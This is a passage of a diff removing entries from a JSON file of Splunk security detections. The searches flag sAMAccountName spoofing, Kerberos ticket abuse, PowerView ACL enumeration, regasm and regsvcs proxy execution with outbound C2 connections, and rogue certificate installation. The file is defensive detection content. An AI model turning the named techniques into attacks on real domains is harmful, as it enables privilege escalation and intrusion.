"Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Computer Account Name Change", - "description": "The following analytic detects a suspicious computer account name change in Active Directory. It leverages Event ID 4781, which logs account name changes, to identify instances where a computer account name is changed to one that does not end with a `$`. This behavior is significant as it may indicate an attempt to exploit CVE-2021-42278 and CVE-2021-42287, which can lead to domain controller impersonation and privilege escalation. If confirmed malicious, this activity could allow an attacker to gain elevated privileges and potentially control the domain.", - "search": "`wineventlog_security` EventCode=4781 OldTargetUserName=\"*$\" NewTargetUserName!=\"*$\" | table _time, Computer, Caller_User_Name, OldTargetUserName, NewTargetUserName | rename Computer as dest | `suspicious_computer_account_name_change_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "sAMAccountName Spoofing and Domain Controller Impersonation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "OldTargetUserName", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A computer account $OldTargetUserName$ was renamed with a suspicious computer name on $dest$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Kerberos Service Ticket Request", - "description": "The following analytic detects suspicious Kerberos Service Ticket (TGS) requests where the requesting account name matches the service name, potentially indicating an exploitation attempt of CVE-2021-42278 and CVE-2021-42287. This detection leverages Event ID 4769 from Domain Controller and Kerberos events. Such activity is significant as it may represent an adversary attempting to escalate privileges by impersonating a domain controller. If confirmed malicious, this could allow an attacker to take control of the domain controller, leading to complete domain compromise and unauthorized access to sensitive information.", - "search": " `wineventlog_security` EventCode=4769 | eval isSuspicious = if(lower(ServiceName) = lower(mvindex(split(TargetUserName,\"@\"),0)),1,0) | where isSuspicious = 1 | rename Computer as dest| rename TargetUserName as user | table _time, dest, src_ip, user, ServiceName, Error_Code, isSuspicious | `suspicious_kerberos_service_ticket_request_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation", - "sAMAccountName Spoofing and Domain Controller Impersonation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious Kerberos Service Ticket was requested by $user$ on host $dest$", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Ticket Granting Ticket Request", - "description": "The following analytic detects suspicious Kerberos Ticket Granting Ticket (TGT) requests that may indicate exploitation of CVE-2021-42278 and CVE-2021-42287. It leverages Event ID 4781 (account name change) and Event ID 4768 (TGT request) to identify sequences where a newly renamed computer account requests a TGT. This behavior is significant as it could represent an attempt to escalate privileges by impersonating a Domain Controller. If confirmed malicious, this activity could allow attackers to gain elevated access and potentially control over the domain environment.", - "search": " `wineventlog_security` (EventCode=4781 OldTargetUserName=\"*$\" NewTargetUserName!=\"*$\") OR (EventCode=4768 TargetUserName!=\"*$\") | eval RenamedComputerAccount = coalesce(NewTargetUserName, TargetUserName) | transaction RenamedComputerAccount startswith=(EventCode=4781) endswith=(EventCode=4768) | eval short_lived=case((duration<2),\"TRUE\") | search short_lived = TRUE | table _time, Computer, EventCode, TargetUserName, RenamedComputerAccount, short_lived | rename Computer as dest | `suspicious_ticket_granting_ticket_request_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation", - "sAMAccountName Spoofing and Domain Controller Impersonation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious TGT was requested was requested by $dest$", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Group Policy Object Created", - "description": "The following analytic detects the creation of a new Group Policy Object (GPO) by leveraging Event IDs 5136 and 5137. This detection uses directory service change events to identify when a new GPO is created. Monitoring GPO creation is crucial as adversaries can exploit GPOs to escalate privileges or deploy malware across an Active Directory network. If confirmed malicious, this activity could allow attackers to control system configurations, deploy ransomware, or propagate malware, leading to widespread compromise and significant operational disruption.", - "search": " `wineventlog_security` EventCode=5137 OR (EventCode=5136 AttributeValue!=\"New Group Policy Object\" AND (AttributeLDAPDisplayName=displayName OR AttributeLDAPDisplayName=gPCFileSysPath) ) ObjectClass=groupPolicyContainer | stats values(AttributeValue) as details values(SubjectUserSid) as User values(ObjectDN) as ObjectDN by ObjectGUID Computer | eval GPO_Name = mvindex(details, 0) | eval GPO_Path = mvindex(details, 1) | fields - details | `windows_group_policy_object_created_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "User", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new group policy objected was created by $User$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows PowerView AD Access Control List Enumeration", - "description": "The following analytic detects the execution of PowerView PowerShell cmdlets `Get-ObjectAcl` or `Get-DomainObjectAcl`, which are used to enumerate Access Control List (ACL) permissions for Active Directory objects. It leverages Event ID 4104 from PowerShell Script Block Logging to identify this activity. This behavior is significant as it may indicate an attempt to discover weak permissions in Active Directory, potentially leading to privilege escalation. If confirmed malicious, attackers could exploit these permissions to gain unauthorized access or escalate their privileges within the network.", - "search": " `powershell` EventCode=4104 (ScriptBlockText=*get-objectacl* OR ScriptBlockText=*Get-DomainObjectAcl* ) | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powerview_ad_access_control_list_enumeration_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Active Directory Privilege Escalation", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerView AD acccess control list enumeration detected on $Computer$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } } ], "external_reference": [ @@ -607668,444 +406548,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Detect Regasm Spawning a Process", - "description": "The following analytic detects regasm.exe spawning a child process. This behavior is identified using data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where regasm.exe is the parent process. This activity is significant because regasm.exe spawning a process is rare and can indicate an attempt to bypass application control mechanisms. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to privilege escalation or persistent access within the environment. Immediate investigation is recommended to determine the legitimacy of the spawned process and any associated activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=regasm.exe NOT (Processes.process_name IN (\"conhost.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_regasm_spawning_a_process_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware", - "Living Off The Land", - "Snake Keylogger", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ spawning a child process, typically not normal behavior for $parent_process_name$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regasm with Network Connection", - "description": "The following analytic detects the execution of regasm.exe establishing a network connection to a public IP address, excluding private IP ranges. This detection leverages Sysmon EventID 3 logs to identify such behavior. This activity is significant as regasm.exe is a legitimate Microsoft-signed binary that can be exploited to bypass application control mechanisms. If confirmed malicious, this behavior could indicate an adversary's attempt to establish a remote Command and Control (C2) channel, potentially leading to privilege escalation and further malicious actions within the environment.", - "search": "`sysmon` EventID=3 dest_ip!=10.0.0.0/8 dest_ip!=172.16.0.0/12 dest_ip!=192.168.0.0/16 process_name=regasm.exe | stats count min(_time) as firstTime max(_time) as lastTime by dest, user, process_name, src_ip, dest_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_regasm_with_network_connection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ contacting a remote destination was identified on endpoint $dest$ by user $user$. This behavior is not normal for $process_name$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regasm with no Command Line Arguments", - "description": "The following analytic detects instances of regasm.exe running without command line arguments. This behavior typically indicates process injection, where another process manipulates regasm.exe. The detection leverages Endpoint Detection and Response (EDR) data, focusing on process names and command-line executions. This activity is significant as it may signal an attempt to evade detection or execute malicious code. If confirmed malicious, attackers could achieve code execution, potentially leading to privilege escalation, persistence, or access to sensitive information. Investigate network connections, parallel processes, and suspicious module loads for further context.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_regasm` by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(regasm\\.exe.{0,4}$)\" | `detect_regasm_with_no_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The process $process_name$ was spawned by $parent_process_name$ without any command-line arguments on $dest$ by $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regsvcs Spawning a Process", - "description": "The following analytic identifies regsvcs.exe spawning a child process. This behavior is detected using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is regsvcs.exe. This activity is significant because regsvcs.exe rarely spawns child processes, and such behavior can indicate an attempt to bypass application control mechanisms. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to privilege escalation or persistent access within the environment. Immediate investigation is recommended to determine the legitimacy of the spawned process and any associated suspicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=regsvcs.exe by Processes.parent_process_name Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_regsvcs_spawning_a_process_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ typically not normal for this process.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regsvcs with Network Connection", - "description": "The following analytic identifies instances of Regsvcs.exe establishing a network connection to a public IP address, excluding private IP ranges. This detection leverages Sysmon Event ID 3 logs to monitor network connections initiated by Regsvcs.exe. This activity is significant as Regsvcs.exe, a legitimate Microsoft-signed binary, can be exploited to bypass application control mechanisms and establish remote Command and Control (C2) channels. If confirmed malicious, this behavior could allow an attacker to escalate privileges, persist in the environment, and exfiltrate sensitive data. Immediate investigation and remediation are recommended.", - "search": "`sysmon` EventID=3 dest_ip!=10.0.0.0/8 dest_ip!=172.16.0.0/12 dest_ip!=192.168.0.0/16 process_name=regsvcs.exe | stats count min(_time) as firstTime max(_time) as lastTime by dest, user, process_name, src_ip, dest_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_regsvcs_with_network_connection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ contacting a remote destination was identified on endpoint $dest$ by user $user$. This behavior is not normal for $process_name$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect Regsvcs with No Command Line Arguments", - "description": "The following analytic detects instances of regsvcs.exe running without command line arguments. This behavior typically indicates process injection, where another process manipulates regsvcs.exe. The detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, IDs, and command-line executions. This activity is significant as it may signal an attempt to evade detection and execute malicious code. If confirmed malicious, the attacker could achieve code execution, potentially leading to privilege escalation, persistence, or access to sensitive information.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_regsvcs` by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(regsvcs\\.exe.{0,4}$)\"| `detect_regsvcs_with_no_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Regsvcs Regasm Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The process $process_name$ was spawned by $parent_process_name$ without any command-line arguments on $dest$ by $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.009", - "mitre_attack_technique": "Regsvcs/Regasm", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -609129,134 +407571,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Attempt To Add Certificate To Untrusted Store", - "description": "The following analytic detects attempts to add a certificate to the untrusted certificate store using the 'certutil -addstore' command. It leverages process activity and command-line arguments from Endpoint Detection and Response (EDR) logs mapped to the Splunk `Processes` data model. This activity is significant as it may indicate an attacker trying to disable security tools to gain unauthorized access. If confirmed malicious, this could lead to the compromise of system security, allowing attackers to bypass defenses and potentially escalate privileges or persist in the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime values(Processes.process) as process max(_time) as lastTime from datamodel=Endpoint.Processes where `process_certutil` (Processes.process=*-addstore*) by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `attempt_to_add_certificate_to_untrusted_store_filter`", - "tags": { - "analytic_story": [ - "Disabling Security Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified attempting to add a certificate to the store on endpoint $dest$ by user $user$.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1553.004", - "mitre_attack_technique": "Install Root Certificate", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1553", - "mitre_attack_technique": "Subvert Trust Controls", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Axiom" - ] - } - ] - } - }, - { - "name": "Windows Registry Certificate Added", - "description": "The following analytic detects the installation of a root CA certificate by monitoring specific registry paths for SetValue events. It leverages data from the Endpoint datamodel, focusing on registry paths containing \"certificates\" and registry values named \"Blob.\" This activity is significant because unauthorized root CA certificates can compromise the integrity of encrypted communications and facilitate man-in-the-middle attacks. If confirmed malicious, this could allow an attacker to intercept, decrypt, or manipulate sensitive data, leading to severe security breaches.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Registry where Registry.registry_path IN (\"*\\\\certificates\\\\*\") AND Registry.registry_value_name=\"Blob\" by _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.process_guid Registry.registry_key_name Registry.registry_value_data | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_registry_certificate_added_filter`", - "tags": { - "analytic_story": [ - "Windows Drivers", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A root certificate was added on $dest$.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1553.004", - "mitre_attack_technique": "Install Root Certificate", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1553", - "mitre_attack_technique": "Subvert Trust Controls", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Axiom" - ] - } - ] - } } ], "external_reference": [ @@ -610540,193 +408854,6 @@ "source_data_element": "network traffic flow", "relationship": "identified", "target_data_element": "network traffic volume" - }, - { - "name": "Splunk Endpoint Denial of Service DoS Zip Bomb", - "description": "The following analytic identifies crashes in the Splunk search app caused by specially crafted ZIP files, affecting Universal Forwarder versions 8.1.11 and 8.2 versions below 8.2.7.1. It detects this activity by monitoring Universal Forwarder error logs for specific messages indicating invalid or binary file issues. This activity is significant because it can disrupt Splunk operations, leading to potential data loss or monitoring gaps. If confirmed malicious, this attack could result in a denial of service, hindering the organization's ability to monitor and respond to other security incidents effectively.", - "search": "`splunkd` component=FileClassifierManager event_message=*invalid* event_message=*binary* |stats count by host component event_message | `splunk_endpoint_denial_of_service_dos_zip_bomb_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ 